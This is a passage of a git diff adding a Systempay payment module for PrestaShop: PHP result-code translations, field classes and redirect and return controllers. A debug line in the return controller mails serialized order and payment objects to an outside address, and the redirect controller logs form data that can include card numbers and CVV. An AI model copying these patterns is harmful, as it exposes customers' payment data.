de surveillance globale', + '98' => 'Serveur indisponible routage réseau demandé à nouveau', + '99' => 'Incident domaine initiateur' + ), + 'warranty_results' => array ( + 'empty' => 'Garantie de paiement non applicable', + 'YES' => 'Le paiement est garanti', + 'NO' => 'Le paiement n\'est pas garanti', + 'UNKNOWN' => 'Suite à une erreur technique, le paiment ne peut pas être garanti' + ) + ), + + 'pt' => array ( + 'results' => array ( + 'empty' => '', + '00' => 'Pagamento realizado com sucesso', + '02' => 'O comerciante deve contactar o banco do portador', + '05' => 'Pagamento recusado', + '17' => 'Cancelamento cliente', + '30' => 'Erro no formato dos dados', + '96' => 'Erro técnico durante o pagamento' + ), + 'extra_results_default' => array ( + 'empty' => 'Nenhum controle efetuado', + '00' => 'Todos os controles foram feitos com sucesso', + '02' => 'Limite do cartão excedido', + '03' => 'O cartão esta na lista cinza do comerciante', + '04' => 'O país de emissão do cartão esta na lista cinza do comerciante', + '05' => 'O endereço IP esta na lista cinza do comerciante', + '06' => 'O código BIN esta na lista cinza do comerciante', + '07' => 'Detecção de um cartão e-carte bleue', + '08' => 'Detecção de um cartão comercial nacional', + '09' => 'Detecção de um cartão comercial estrangeiro', + '14' => 'O cartão é um cartão com autorização sistemática', + '20' => 'Nenhum país corresponde (país IP, país cartão, país cliente)', + '30' => 'O país do endereço IP pertence à lista cinza', + '99' => 'Problema técnico encontrado pelo servidor durante o tratamento de um dos controles locais' + ), + 'auth_results' => array ( + 'empty' => '', + '00' => 'Transação aprovada ou tratada com sucesso', + '02' => 'Contactar o emissor do cartão', + '03' => 'Recebedor inválido', + '04' => 'Conservar o cartão', + '05' => 'Não honrar', + '07' => 'Conservar o cartão, condições especiais', + '08' => 'Aprovar após identificação', + '12' => 'Transação inválida', + '13' => 'Valor inválido', + '14' => 'Número do portador inválido', + '30' => 'Erro no formato', + '31' => 'Identificação do adquirente desconhecido', + '33' => 'Data de validade do cartão ultrapassada', + '34' => 'Suspeita de fraude', + '41' => 'Cartão perdido', + '43' => 'Cartão roubado', + '51' => 'Saldo insuficiente ou limite excedido', + '54' => 'Data de validade do cartão ultrapassada', + '56' => 'Cartão ausente do arquivo', + '57' => 'Transação não permitida para este portador', + '58' => 'Transação proibida no terminal', + '59' => 'Suspeita de fraude', + '60' => 'O recebedor do cartão deve contactar o adquirente', + '61' => 'Valor de saque fora do limite', + '63' => 'Regras de segurança não respeitadas', + '68' => 'Nenhuma resposta recebida ou recebida tarde demais', + '90' => 'Parada momentânea do sistema', + '91' => 'Emissor do cartão inacessível', + '96' => 'Mau funcionamento do sistema', + '94' => 'Transação duplicada', + '97' => 'Limite do tempo de monitoramento global', + '98' => 'Servidor indisponível nova solicitação de roteamento', + '99' => 'Incidente no domínio iniciador' + ), + 'warranty_results' => array ( + 'empty' => 'Garantia de pagamento não aplicável', + 'YES' => 'O pagamento foi garantido', + 'NO' => 'O pagamento não foi garantido', + 'UNKNOWN' => 'Devido à un erro técnico, o pagamento não pôde ser garantido' + ) + ), + + 'de' => array ( + 'results' => array ( + 'empty' => '', + '00' => 'Zahlung mit Erfolg durchgeführt', + '02' => 'Der Händler muss die Bank des Karteninhabers kontaktieren', + '05' => 'Zahlung zurückgewiesen', + '17' => 'Stornierung durch den Kunden', + '30' => 'Fehler im Format der Anfrage', + '96' => 'Technischer Fehler bei der Zahlung' + ), + 'extra_results_default' => array ( + 'empty' => 'Keine Kontrolle durchgeführt', + '00' => 'Alle Kontrollen werden mit Erfolg durchgeführt', + '02' => 'Die Karte hat den erlaubten ausstehenden Betrag überschritten', + '03' => 'Die Karte befindet sich in der Blacklist des Händlers', + '04' => 'Das kartenausgebende Land befindet sich in der Blacklist des Händlers', + '05' => 'Die IP Adresse befindet sich in der Blacklist des Händlers', + '06' => 'Der BIN Code befindet sich in der Blacklist des Händlers', + '07' => 'Erkennen einer elektronisch ausgestellten Karte', + '08' => 'Erkennen einer nationalen Karte', + '09' => 'Erkennen einer internationalen Karte', + '14' => 'Die Karte unterliegt systematischer Autorisierung', + '20' => 'Kein Land entspricht sich (Land der IP, der Karte, des Kunden)', + '99' => 'Technisches Problem des Servers bei Bearbeitung einer der lokalen Kontrollen' + ), + 'auth_results' => array ( + 'empty' => '', + '00' => 'Zahlung durchgeführt oder mit Erfolg bearbeitet', + '02' => 'Kartenausgebende Bank kontaktieren', + '03' => 'Ungültiger Annehmer', + '04' => 'Karte aufbewahren', + '05' => 'Nicht einlösen', + '07' => 'Karte aufbewahren, Sonderbedingungen', + '08' => 'Nach Identifizierung genehmigen', + '12' => 'Ungültige Transaktion', + '13' => 'Ungültiger Betrag', + '14' => 'Ungültige Nummer des Karteninhabers', + '30' => 'Formatfehler', + '31' => 'ID des Annehmers unbekannt', + '33' => 'Gültigkeitsdatum der Karte überschritten', + '34' => 'Verdacht auf Betrug', + '41' => 'Verlorene Karte', + '43' => 'Gestohlene Karte', + '51' => 'Deckung unzureichend oder Kredit überschritten', + '54' => 'Gültigkeitsdatum der Karte überschritten', + '56' => 'Karte nicht in der Datei enthalten', + '57' => 'Transaktion diesem Karteninhaber nicht erlaubt', + '58' => 'Transaktion diesem Terminal nicht erlaubt', + '59' => 'Verdacht auf Betrug', + '60' => 'Der Kartenannehmer muss den Acquirer kontaktieren', + '61' => 'Betrag der Abhebung überschreitet das Limit', + '63' => 'Sicherheitsregelen nicht respektiert', + '68' => 'Antwort nicht oder zu spät erhalten', + '90' => 'Momentane Systemunterbrechung', + '91' => 'Kartenausgeber nicht erreichbar', + '96' => 'Fehlverhalten des Systems', + '94' => 'Kopierte Transaktion', + '97' => 'Fälligkeit der Verzögerung der globalen Überwachung', + '98' => 'Server nicht erreichbar, Routen des Netzwerkes erneut angefragt', + '99' => 'Vorfall der urhebenden Domain' + ), + 'warranty_results' => array ( + 'empty' => 'Zahlungsgarantie nicht anwendbar', + 'YES' => 'Die Zahlung ist garantiert', + 'NO' => 'Die Zahlung ist nicht garantiert', + 'UNKNOWN' => 'Die Zahlung kann aufgrund eines technischen Fehlers nicht gewährleistet werden' + ) + ) + ); + + static $FORM_ERRORS = array( + '00' => 'SIGNATURE', + '01' => 'VERSION', + '02' => 'SITE_ID', + '03' => 'TRANS_ID', + '04' => 'TRANS_DATE', + '05' => 'VALIDATION_MODE', + '06' => 'CAPTURE_DELAY', + '07' => 'PAYMENT_CONFIG', + '08' => 'PAYMENT_CARDS', + '09' => 'AMOUNT', + '10' => 'CURRENCY', + '11' => 'CTX_MODE', + '12' => 'LANGUAGE', + '13' => 'ORDER_ID', + '14' => 'ORDER_INFO', + '15' => 'CUST_EMAIL', + '16' => 'CUST_ID', + '17' => 'CUST_TITLE', + '18' => 'CUST_NAME', + '19' => 'CUST_ADDRESS', + '20' => 'CUST_ZIP', + '21' => 'CUST_CITY', + '22' => 'CUST_COUNTRY', + '23' => 'CUST_PHONE', + '24' => 'URL_SUCCESS', + '25' => 'URL_REFUSED', + '26' => 'URL_REFERRAL', + '27' => 'URL_CANCEL', + '28' => 'URL_RETURN', + '29' => 'URL_ERROR', + '30' => 'IDENTIFIER', + '31' => 'CONTRIB', + '32' => 'THEME_CONFIG', + '33' => 'URL_CHECK', + '34' => 'REDIRECT_SUCCESS_TIMEOUT', + '35' => 'REDIRECT_SUCCESS_MESSAGE', + '36' => 'REDIRECT_ERROR_TIMEOUT', + '37' => 'REDIRECT_ERROR_MESSAGE', + '38' => 'RETURN_POST_PARAMS', + '39' => 'RETURN_GET_PARAMS', + '40' => 'CARD_NUMBER', + '41' => 'CARD_EXP_MONTH', + '42' => 'CARD_EXP_YEAR', + '43' => 'CARD_CVV', + '44' => 'CARD_CVV_AND_BIRTH', + '46' => 'PAGE_ACTION', + '47' => 'ACTION_MODE', + '48' => 'RETURN_MODE', + '49' => 'ABSTRACT_INFO', + '50' => 'SECURE_MPI', + '51' => 'SECURE_ENROLLED', + '52' => 'SECURE_CAVV', + '53' => 'SECURE_ECI', + '54' => 'SECURE_XID', + '55' => 'SECURE_CAVV_ALG', + '56' => 'SECURE_STATUS', + '60' => 'PAYMENT_SRC', + '61' => 'USER_INFO', + '62' => 'CONTRACTS', + '63' => 'RECURRENCE', + '64' => 'RECURRENCE_DESC', + '65' => 'RECURRENCE_AMOUNT', + '66' => 'RECURRENCE_REDUCED_AMOUNT', + '67' => 'RECURRENCE_CURRENCY', + '68' => 'RECURRENCE_REDUCED_AMOUNT_NUMBER', + '69' => 'RECURRENCE_EFFECT_DATE', + '70' => 'EMPTY_PARAMS', + '71' => 'AVAILABLE_LANGUAGES', + '72' => 'SHOP_NAME', + '73' => 'SHOP_URL', + '74' => 'OP_COFINOGA', + '75' => 'OP_CETELEM', + '76' => 'BIRTH_DATE', + '77' => 'CUST_CELL_PHONE', + '79' => 'TOKEN_ID', + '80' => 'SHIP_TO_NAME', + '81' => 'SHIP_TO_STREET', + '82' => 'SHIP_TO_STREET2', + '83' => 'SHIP_TO_CITY', + '84' => 'SHIP_TO_STATE', + '85' => 'SHIP_TO_ZIP', + '86' => 'SHIP_TO_COUNTRY', + '87' => 'SHIP_TO_PHONE_NUM', + '88' => 'CUST_STATE', + '89' => 'REQUESTOR', + '90' => 'PAYMENT_TYPE', + '91' => 'EXT_INFO', + '92' => 'CUST_STATUS', + '93' => 'SHIP_TO_STATUS', + '94' => 'SHIP_TO_TYPE', + '95' => 'SHIP_TO_SPEED', + '96' => 'SHIP_TO_DELIVERY_COMPANY_NAME', + '97' => 'PRODUCT_LABEL', + '98' => 'PRODUCT_TYPE', + '100' => 'PRODUCT_REF', + '101' => 'PRODUCT_QTY', + '102' => 'PRODUCT_AMOUNT', + '103' => 'PAYMENT_OPTION_CODE', + '104' => 'CUST_FIRST_NAME', + '105' => 'CUST_LAST_NAME', + '106' => 'SHIP_TO_FIRST_NAME', + '107' => 'SHIP_TO_LAST_NAME', + '108' => 'TAX_AMOUNT', + '109' => 'SHIPPING_AMOUNT', + '110' => 'INSURANCE_AMOUNT', + '111' => 'PAYMENT_ENTRY', + '112' => 'CUST_ADDRESS_NUMBER', + '113' => 'CUST_DISTRICT', + '114' => 'SHIP_TO_STREET_NUMBER', + '115' => 'SHIP_TO_DISTRICT', + '116' => 'SHIP_TO_USER_INFO', + '117' => 'RISK_PRIMARY_WARRANTY', + '117' => 'DONATION', + '99' => 'OTHER', + '118' => 'STEP_UP_DATA', + '201' => 'PAYMENT_AUTH_CODE', + '202' => 'PAYMENT_CUST_CONTRACT_NUM', + '888' => 'ROBOT_REQUEST', + '999' => 'SENSITIVE_DATA' + ); + } +} + +if(!@class_exists('SystempayField', false)) { + /** + * Class representing a field of the form to send to the payment gateway + */ + class SystempayField { + /** + * Field's name. Matches the html input attribute + * @var string + * @access private + */ + var $name; + /** + * Field's label in english, to be used by translation systems + * @var string + * @access private + */ + var $label; + /** + * Field's maximum length. Matches the html text input attribute + * @var int + * @access private + */ + var $length; + /** + * PCRE regular expression the field value must match + * @var string + * @access private + */ + var $regex; + /** + * Whether the form requires the field to be set (even to an empty string) + * @var boolean + * @access private + */ + var $required; + /** + * Field's value. Null or string + * @var string + * @access private + */ + var $value = null; + + /** + * Constructor + * @param string $name + * @param string $label + * @param string $regex + * @param boolean $required + * @param string $value + * @return SystempayField + */ + function SystempayField($name, $label, $regex, $required = false, $length = 255) { + $this->name = $name; + $this->label = $label; + $this->regex = $regex; + $this->required = $required; + $this->length = $length; + } + + /** + * Setter for value + * @param mixed $value + * @return boolean true if the value is valid + */ + function setValue($value) { + $value = ($value === null) ? null : (string) $value; + // We save value even if invalid (in case the validate function is too restrictive, it happened once) ... + $this->value = $value; + if (!$this->validate($value)) { + // ... but we return a "false" warning + return false; + } + return true; + } + + /** + * Checks the current value + * @return boolean false if the current value is invalid or null and required + */ + function isValid() { + return $this->validate($this->value); + } + + /** + * Check if a value is valid for this field + * @param string $value + * @return boolean + */ + function validate($value) { + if ($value === null && $this->isRequired()) { + return false; + } + if ($value !== null && !preg_match($this->regex, $value)) { + return false; + } + return true; + } + + /** + * Setter for the required attribute + * @param boolean $required + */ + function setRequired($required) { + $this->required = (boolean) $required; + } + + /** + * Is the field required in the payment request ? + * @return boolean + */ + function isRequired() { + return $this->required; + } + + /** + * Return the current value of the field. + * @return string + */ + function getValue() { + return $this->value; + } + + /** + * Return the name (html attribute) of the field. + * @return string + */ + function getName() { + return $this->name; + } + + /** + * Return the english human-readable name of the field. + * @return string + */ + function getLabel() { + return $this->label; + } + + /** + * Return the maximum length of the field's value. + * @return number + */ + function getLength() { + return $this->length; + } + + /** + * Has a value been set ? + * @return boolean + */ + function isFilled() { + return !is_null($this->getValue()); + } + } +} + +if(!@class_exists('SystempayCurrency', false)) { + /** + * Class representing a currency, used for converting alpha/numeric iso codes and float/integer amounts + */ + class SystempayCurrency { + var $alpha3; + var $num; + var $decimals; + + function SystempayCurrency($alpha3, $num, $decimals = 2) { + $this->alpha3 = $alpha3; + $this->num = $num; + $this->decimals = $decimals; + } + + function convertAmountToInteger($float) { + $coef = pow(10, $this->decimals); + + return intval(strval($float * $coef)); + } + + function convertAmountToFloat($integer) { + $coef = pow(10, $this->decimals); + + return floatval($integer) / $coef; + } + } +} + +if(!@class_exists('SystempayMultiApi', false)) { + /** + * Class managing multi payment specific actions + * @version 2.2 + */ + class SystempayMultiApi extends SystempayApi { + + /** + * Constructor. + */ + function SystempayMultiApi($encoding="UTF-8") { + // call parent class constructor + parent::SystempayApi($encoding); + } + + /** + * Set multi payment configuration + * @param $total_in_cents total order amount in cents + * @param $first_in_cents amount of the first payment in cents + * @param $count total number of payments + * @param $period number of days between 2 payments + * @return boolean true on success + */ + function setMultiPayment($total_in_cents = null, $first_in_cents = null, $count = 3, $period = 30) { + $result = false; + + if (is_numeric($count) && $count > 1 && is_numeric($period) && $period > 0) { + // Valeurs par défaut pour first et total + $total_in_cents = ($total_in_cents === null) ? $this->get('amount') : $total_in_cents; + $first_in_cents = ($first_in_cents === null) ? round($total_in_cents / $count) : $first_in_cents; + + // Vérification des paramètres + if (is_numeric($total_in_cents) && $total_in_cents > $first_in_cents + && $total_in_cents > 0 && is_numeric($first_in_cents) + && $first_in_cents > 0) { + // Enregistrement du paramètres payment_config + $payment_config = 'MULTI:first=' . $first_in_cents . ';count=' . $count . ';period=' . $period; + $result = $this->set('amount', $total_in_cents); + if ($result === true) { + // premier set ok, on continue + $result = $this->set('payment_config', $payment_config); + } + } + } + + return $result; + } + } +} \ No newline at end of file diff --git a/modules/systempay/controllers/front/redirect.php b/modules/systempay/controllers/front/redirect.php new file mode 100755 index 0000000..64502fb --- /dev/null +++ b/modules/systempay/controllers/front/redirect.php @@ -0,0 +1,91 @@ +display_column_left = false; + $this->display_column_right = false; + } + + /** + * @see FrontController::initContent() + */ + public function initContent() { + parent::initContent(); + + $this->context->smarty->assign('back_compat', Tools::version_compare(_PS_VERSION_, '1.6')); + + if($this->context->cart->nbProducts() <= 0) { + $this->context->smarty->assign('systempay_empty_cart', true); + } else { + $this->context->smarty->assign('systempay_empty_cart', false); + + $data = array(); + $logo = ''; + + $type = Tools::getValue('systempay_payment_type'); /* the selected systempay payment type */ + switch ($type) { + case 'standard' : + if (Configuration::get('SYSTEMPAY_STD_CARD_DATA_MODE') == 2 || Configuration::get('SYSTEMPAY_STD_CARD_DATA_MODE') == 3) { + $data['card_type'] = Tools::getValue('systempay_card_type'); + + if (Configuration::get('SYSTEMPAY_STD_CARD_DATA_MODE') == 3) { + $data['card_number'] = Tools::getValue('systempay_card_number'); + $data['cvv'] = Tools::getValue('systempay_cvv'); + $data['expiry_month'] = Tools::getValue('systempay_expiry_month'); + $data['expiry_year'] = Tools::getValue('systempay_expiry_year'); + } + } + + $logo = 'BannerLogo1.png'; + break; + + case 'multi' : + $data['opt'] = Tools::getValue('systempay_opt'); + + $logo = 'BannerLogo2.png'; + break; + + case 'oney' : + $logo = 'BannerLogo3.png'; + break; + + default: + // TODO define the default behaviour + break; + } + + $module = new Systempay(); + $params = $module->getFormFields($type, $data); + + $module->logger->logInfo('Data to be sent to payment platform : ' . print_r($params, true)); + + $this->context->smarty->assign('systempay_params', $params); + $this->context->smarty->assign('systempay_url', Configuration::get('SYSTEMPAY_PLATFORM_URL')); + $this->context->smarty->assign('systempay_logo', $logo); + } + + $this->setTemplate('redirect.tpl'); + } +} \ No newline at end of file diff --git a/modules/systempay/controllers/front/submit.php b/modules/systempay/controllers/front/submit.php new file mode 100755 index 0000000..8e6cc04 --- /dev/null +++ b/modules/systempay/controllers/front/submit.php @@ -0,0 +1,226 @@ +currentCart = new Cart((int)$cartId); + + $this->module->logger->logInfo("User return to shop process starts for cart #$cartId."); + + // Cart errors + if (!Validate::isLoadedObject($this->currentCart) || $this->currentCart->nbProducts() <= 0) { + $this->module->logger->logWarning("Cart is empty, redirect to home page. Cart ID: $cartId."); + Tools::redirectLink('index.php'); + } + + if ($this->currentCart->id_customer == 0 || $this->currentCart->id_address_delivery == 0 || $this->currentCart->id_address_invoice == 0 || !$this->module->active) { + $this->module->logger->logWarning("No address selected for customer or module disabled, redirect to checkout first page. Cart ID: $cartId."); + Tools::redirect('index.php?controller=order&step=1'); + } + + $customer = new Customer($this->currentCart->id_customer); + if (!Validate::isLoadedObject($customer)) { + $this->module->logger->logWarning("Customer not logged in, redirect to checkout first page. Cart ID: $cartId."); + Tools::redirect('index.php?controller=order&step=1'); + } + + $this->_processPaymentReturn(); + } + + private function _processPaymentReturn() { + /** @var SystempayResponse $systempayResponse */ + $systempayResponse = new SystempayResponse( + $_REQUEST, + Configuration::get('SYSTEMPAY_MODE'), + Configuration::get('SYSTEMPAY_KEY_TEST'), + Configuration::get('SYSTEMPAY_KEY_PROD') + ); + + $cartId = $this->currentCart->id; + + // Check the authenticity of the request + if (!$systempayResponse->isAuthentified()) { + $this->module->logger->logError("Cart #$cartId : authentication error ! Redirect to home page."); + Tools::redirectLink('index.php'); + } + + // Search order in db + $orderId = Order::getOrderByCartId($cartId); + + if ($orderId == false) { + // order has not been processed yet + + if ($systempayResponse->isAcceptedPayment()) { + $this->module->logger->logWarning("Payment for cart #$cartId has been processed by client return ! This means the check URL did not work."); + + $newState = $this->module->isOneyPendingPayment($systempayResponse) /* Oney payments */ ? + Configuration::get('SYSTEMPAY_OS_ONEY_PENDING') : + Configuration::get('PS_OS_PAYMENT'); + + $this->module->logger->logInfo("Payment accepted for cart #$cartId. New order status is $newState."); + $order = $this->module->saveOrder($this->currentCart, $newState, $systempayResponse); + + // redirect to success page + $this->_redirectSuccess($order, $this->module->id, $systempayResponse, true); + } else { + // payment KO + + if(Configuration::get('SYSTEMPAY_FAILURE_MANAGEMENT') == Systempay::ON_FAILURE_SAVE || $this->module->isOney($systempayResponse)) { + // save on failure option is selected or oney payment : save order and go to history page + $newState = $systempayResponse->isCancelledPayment() ? Configuration::get('PS_OS_CANCELED') : Configuration::get('PS_OS_ERROR'); + + $this->module->logger->logWarning("Payment for order #$cartId has been processed by client return ! This means the check URL did not work."); + + $msg = $this->module->isOney($systempayResponse) ? 'FacilyPay Oney payment' : 'Save on failure option is selected'; + $this->module->logger->logInfo("$msg : save failed order for cart #$cartId. New order status is $newState."); + + $this->module->saveOrder($this->currentCart, $newState, $systempayResponse); + + $this->module->logger->logInfo("Redirect to history page, cart ID : #$cartId."); + Tools::redirect('index.php?controller=history'); + } else { + // option 2 choosen : get back to checkout process and show message + $this->module->logger->logInfo("Payment failed, redirect to order checkout page, cart ID : #$cartId."); + + $controller = Configuration::get('PS_ORDER_PROCESS_TYPE') ? 'order-opc' : 'order' . (Tools::version_compare(_PS_VERSION_, '1.5.1', '>=') ? '&step=3' : ''); + Tools::redirect('index.php?controller=' . $controller . '&systempay_pay_error=yes'); + } + } + } else { + + // order already registered + $this->module->logger->logInfo("Order already registered for cart #$cartId."); + + $order = new Order((int)$orderId); + $oldState = $order->getCurrentState(); + + switch ($oldState) { + case Configuration::get('PS_OS_ERROR'): + case Configuration::get('PS_OS_CANCELED'): + + $this->module->logger->logInfo("Save on failure option is selected or FacilyPay Oney payment. Order for cart #$cartId is in a failed status."); + + if($systempayResponse->isAcceptedPayment()) { + // order saved with failed status while payment is successful + $this->module->logger->logError("Payment success received from platform while order is in a failed status for cart #$cartId."); + } else { + // just display a failure confirmation message + $this->module->logger->logInfo("Payment failure confirmed for cart #$cartId."); + } + + $this->module->logger->logInfo("Redirect to history page. Cart ID : #$cartId."); + Tools::redirect('index.php?controller=history'); + + break; + + case Configuration::get('SYSTEMPAY_OS_ONEY_PENDING'): + case (($oldState == Configuration::get('PS_OS_OUTOFSTOCK')) && $this->module->isOney($systempayResponse)): + + // ANTADIS + mail('thibault@antadis.com', '2 - garancia soucis reponse commande', serialize($systempayResponse)); + mail('thibault@antadis.com', '2 - garancia soucis commande', serialize($order)); + + $this->module->logger->logInfo("Order for cart #$cartId is saved but waiting FacilyPay Oney confirmation. Update order status according to payment result."); + + if ($systempayResponse->isPendingPayment()) { + // redirect to success page + $this->module->logger->logInfo("FacilyPay Oney pending status confirmed for cart #$cartId. Just redirect to success page."); + $this->_redirectSuccess($order, $this->module->id, $systempayResponse); + } else { + // order is pending Oney confirmation, payment is not pending : error case + $this->module->logger->logError("Order saved with FacilyPay Oney pending status while payment not pending, cart ID : #$cartId."); + Tools::redirect('index.php?controller=order-confirmation&id_cart=' . $cartId + . '&id_module=' . $this->module->id . '&id_order=' . $order->id + . '&key=' . $order->secure_key . '&error=yes'); + } + + break; + + case Configuration::get('PS_OS_PAYMENT'): + case Configuration::get('SYSTEMPAY_OS_PAYMENT_OUTOFSTOCK'): + case (($oldState == Configuration::get('PS_OS_OUTOFSTOCK')) && !$this->module->isOney($systempayResponse)): + default: + + if($systempayResponse->isAcceptedPayment()) { + // redirect to success page + $this->module->logger->logInfo("Payment success confirmed for cart #$cartId. Just redirect to success page."); + $this->_redirectSuccess($order, $this->module->id, $systempayResponse); + } else { + // order saved with success status while payment failed + $this->module->logger->logError("Order saved with success status while payment failed, cart ID : #$cartId."); + Tools::redirect('index.php?controller=order-confirmation&id_cart=' . $cartId + . '&id_module=' . $this->module->id . '&id_order=' . $order->id + . '&key=' . $order->secure_key . '&error=yes'); + } + + break; + + default: + + // order saved with unmanaged status, redirect client according to payment result + $this->module->logger->logInfo("Order saved with unmanaged status for cart #$cartId, redirect client according to payment result."); + + if($systempayResponse->isAcceptedPayment()) { + // redirect to success page + $this->module->logger->logInfo("Payment success for cart #$cartId. Redirect to success page."); + $this->_redirectSuccess($order, $this->module->id, $systempayResponse); + } else { + $this->module->logger->logInfo("Payment failure for cart #$cartId. Redirect to history page."); + Tools::redirect('index.php?controller=history'); + } + + break; + } + } + } + + private function _redirectSuccess($order, $id_module, $systempayResponse, $check=false) { + // Just display a confirmation message + $link = 'index.php?controller=order-confirmation&id_cart=' . $order->id_cart + . '&id_module=' . $id_module . '&id_order=' . $order->id + . '&key=' . $order->secure_key; + + // Amount paid not equals initial amount. Error ! + if (number_format($order->total_paid, 2) != number_format($systempayResponse->getFloatAmount(), 2)) { + $link .= "&error=yes"; + } + + if(Configuration::get('SYSTEMPAY_MODE') == 'TEST') { + if($check) { + // ctx_mode=TEST => the user is the webmaster + // order has not been paid, but we receive a successful payment code => automatic response didn't work + // So we display a warning about the not working check_url + + $link .= "&check_url_warn=yes"; + } + + + $link .= "&prod_info=yes"; + } + + Tools::redirect($link); + } +} \ No newline at end of file diff --git a/modules/systempay/logo.gif b/modules/systempay/logo.gif new file mode 100755 index 0000000..429e5e5 Binary files /dev/null and b/modules/systempay/logo.gif differ diff --git a/modules/systempay/logo.png b/modules/systempay/logo.png new file mode 100755 index 0000000..d4d22c3 Binary files /dev/null and b/modules/systempay/logo.png differ diff --git a/modules/systempay/systempay.php b/modules/systempay/systempay.php new file mode 100755 index 0000000..3a38531 --- /dev/null +++ b/modules/systempay/systempay.php @@ -0,0 +1,1222 @@ +name = 'systempay'; + $this->tab = 'payments_gateways'; + $this->version = '1.2f'; + $this->author = 'Lyra Network'; + $this->controllers = array('redirect', 'submit'); + + $this->currencies = true; + $this->currencies_mode = 'checkbox'; + + parent::__construct(); + + $orderId = (int)(Tools::getValue('id_order', 0)); + $order = new Order($orderId); + if(($order->module == $this->name) && (Tools::getValue('controller', '') == 'orderconfirmation')) { + // patch to use different display name according to the used payment mode + $this->displayName = $order->payment; + } else { + $this->displayName = 'Systempay'; + } + + $this->description = sprintf($this->l('Accept payments by credit cards with %s'), ' Systempay'); + $this->confirmUninstall = $this->l('Are you sure you want to delete your module details ?'); + + $this->logger = new SystempayFileLogger(Configuration::get('SYSTEMPAY_ENABLE_LOGS') != 'False'); + $this->logger->setFilename(_PS_ROOT_DIR_.'/log/'.date('Y_m').'_systempay.log'); + } + + /** + * Return the list of configuration parameters with their systempay names and default values. + * + * @return array[array[key, name, default]] + */ + private function _getAdminParameters() { + // NB : keys are 32 chars max + + return array( + array('key' => 'SYSTEMPAY_ENABLE_LOGS', 'default' => 'True', 'label' => 'Logs'), + + array('key' => 'SYSTEMPAY_SITE_ID', 'name' => 'site_id', 'default' => '12345678', 'label' => 'Site id'), + array('key' => 'SYSTEMPAY_KEY_TEST', 'name' => 'key_test', 'default' => '1111111111111111', 'label' => 'Test certificate'), + array('key' => 'SYSTEMPAY_KEY_PROD', 'name' => 'key_prod', 'default' => '2222222222222222', 'label' => 'Production certificate'), + array('key' => 'SYSTEMPAY_MODE', 'name' => 'ctx_mode', 'default' => 'TEST', 'label' => 'Mode'), + array('key' => 'SYSTEMPAY_PLATFORM_URL', 'name' => 'platform_url', 'default' => 'https://paiement.systempay.fr/vads-payment/', 'label' => 'Gateway URL'), + + array('key' => 'SYSTEMPAY_DEFAULT_LANGUAGE', 'default' => 'fr', 'label' => 'Default language'), + array('key' => 'SYSTEMPAY_AVAILABLE_LANGUAGES', 'name' => 'available_languages', 'default' => '', 'label' => 'Available languages'), + array('key' => 'SYSTEMPAY_DELAY', 'name' => 'capture_delay', 'default' => '', 'label' => 'Delay'), + array('key' => 'SYSTEMPAY_VALIDATION_MODE', 'name' => 'validation_mode', 'default' => '', 'label' => 'Payment validation'), + array('key' => 'SYSTEMPAY_PAYMENT_CARDS', 'name' => 'payment_cards', 'default' => 'CB;VISA;VISA_ELECTRON;MASTERCARD;MAESTRO;E-CARTEBLEUE', 'label' => 'Available payment cards'), + + array('key' => 'SYSTEMPAY_THEME_CONFIG', 'name' => 'theme_config', 'default' => '', 'label' => 'Theme configuration'), + array('key' => 'SYSTEMPAY_SHOP_NAME', 'name' => 'shop_name', 'default' => '', 'label' => 'Shop name'), + array('key' => 'SYSTEMPAY_SHOP_URL', 'name' => 'shop_url', 'default' => '', 'label' => 'Shop URL'), + + array('key' => 'SYSTEMPAY_3DS_MIN_AMOUNT', 'default' => '', 'label' => 'Minimum amount for which activate 3DS'), + + array('key' => 'SYSTEMPAY_REDIRECT_ENABLED', 'name' => 'redirect_enabled', 'default' => 'False', 'label' => 'Automatic redirection'), + array('key' => 'SYSTEMPAY_REDIRECT_SUCCESS_T', 'name' => 'redirect_success_timeout', 'default' => '5', 'label' => 'Success timeout'), + array('key' => 'SYSTEMPAY_REDIRECT_SUCCESS_M', 'name' => 'redirect_success_message', 'default' => 'Redirection vers la boutique dans quelques instants...', 'label' => 'Success message'), + array('key' => 'SYSTEMPAY_REDIRECT_ERROR_T', 'name' => 'redirect_error_timeout', 'default' => '5', 'label' => 'Failure timeout'), + array('key' => 'SYSTEMPAY_REDIRECT_ERROR_M', 'name' => 'redirect_error_message', 'default' => 'Redirection vers la boutique dans quelques instants...', 'label' => 'Failure message'), + array('key' => 'SYSTEMPAY_RETURN_MODE', 'name' => 'return_mode', 'default' => 'GET', 'label' => 'Return mode'), + array('key' => 'SYSTEMPAY_FAILURE_MANAGEMENT', 'default' => self::ON_FAILURE_RETRY, 'label' => 'Payment failed management'), + array('key' => 'SYSTEMPAY_RETURN_GET_PARAMS', 'name' => 'return_get_params', 'default' => '', 'label' => 'Additional GET parameters'), + array('key' => 'SYSTEMPAY_RETURN_POST_PARAMS', 'name' => 'return_post_params', 'default' => '', 'label' => 'Additional POST parameters'), + + array('key' => 'SYSTEMPAY_STD_TITLE', 'default' => array('en' => 'Payment by bank card', 'fr' => 'Paiement par carte bancaire'), 'label' => 'Method title'), + array('key' => 'SYSTEMPAY_STD_ENABLED', 'default' => 'True', 'label' => 'Activation'), + array('key' => 'SYSTEMPAY_STD_AMOUNT_MIN', 'default' => '', 'label' => 'Minimum amount'), + array('key' => 'SYSTEMPAY_STD_AMOUNT_MAX', 'default' => '', 'label' => 'Maximum amount'), + array('key' => 'SYSTEMPAY_STD_CARD_DATA_MODE', 'default' => '1', 'label' => 'Card data entry mode'), + + array('key' => 'SYSTEMPAY_MULTI_TITLE', 'default' => array('en' => 'Payment by bank card in several times', 'fr' => 'Paiement par carte bancaire en plusieurs fois'), 'label' => 'Method title'), + array('key' => 'SYSTEMPAY_MULTI_ENABLED', 'default' => 'False', 'label' => 'Activation'), + array('key' => 'SYSTEMPAY_MULTI_AMOUNT_MIN', 'default' => '', 'label' => 'Minimum amount'), + array('key' => 'SYSTEMPAY_MULTI_AMOUNT_MAX', 'default' => '', 'label' => 'Maximum amount'), + array('key' => 'SYSTEMPAY_MULTI_OPTIONS', 'default' => array(), 'label' => 'Payment options'), + + array('key' => 'SYSTEMPAY_ONEY_TITLE', 'default' => array('en' => 'Payment with FacilyPay Oney', 'fr' => 'Paiement avec FacilyPay Oney'), 'label' => 'Method title'), + array('key' => 'SYSTEMPAY_ONEY_ENABLED', 'default' => 'False', 'label' => 'Activation'), + array('key' => 'SYSTEMPAY_ONEY_AMOUNT_MIN', 'default' => '', 'label' => 'Minimum amount'), + array('key' => 'SYSTEMPAY_ONEY_AMOUNT_MAX', 'default' => '', 'label' => 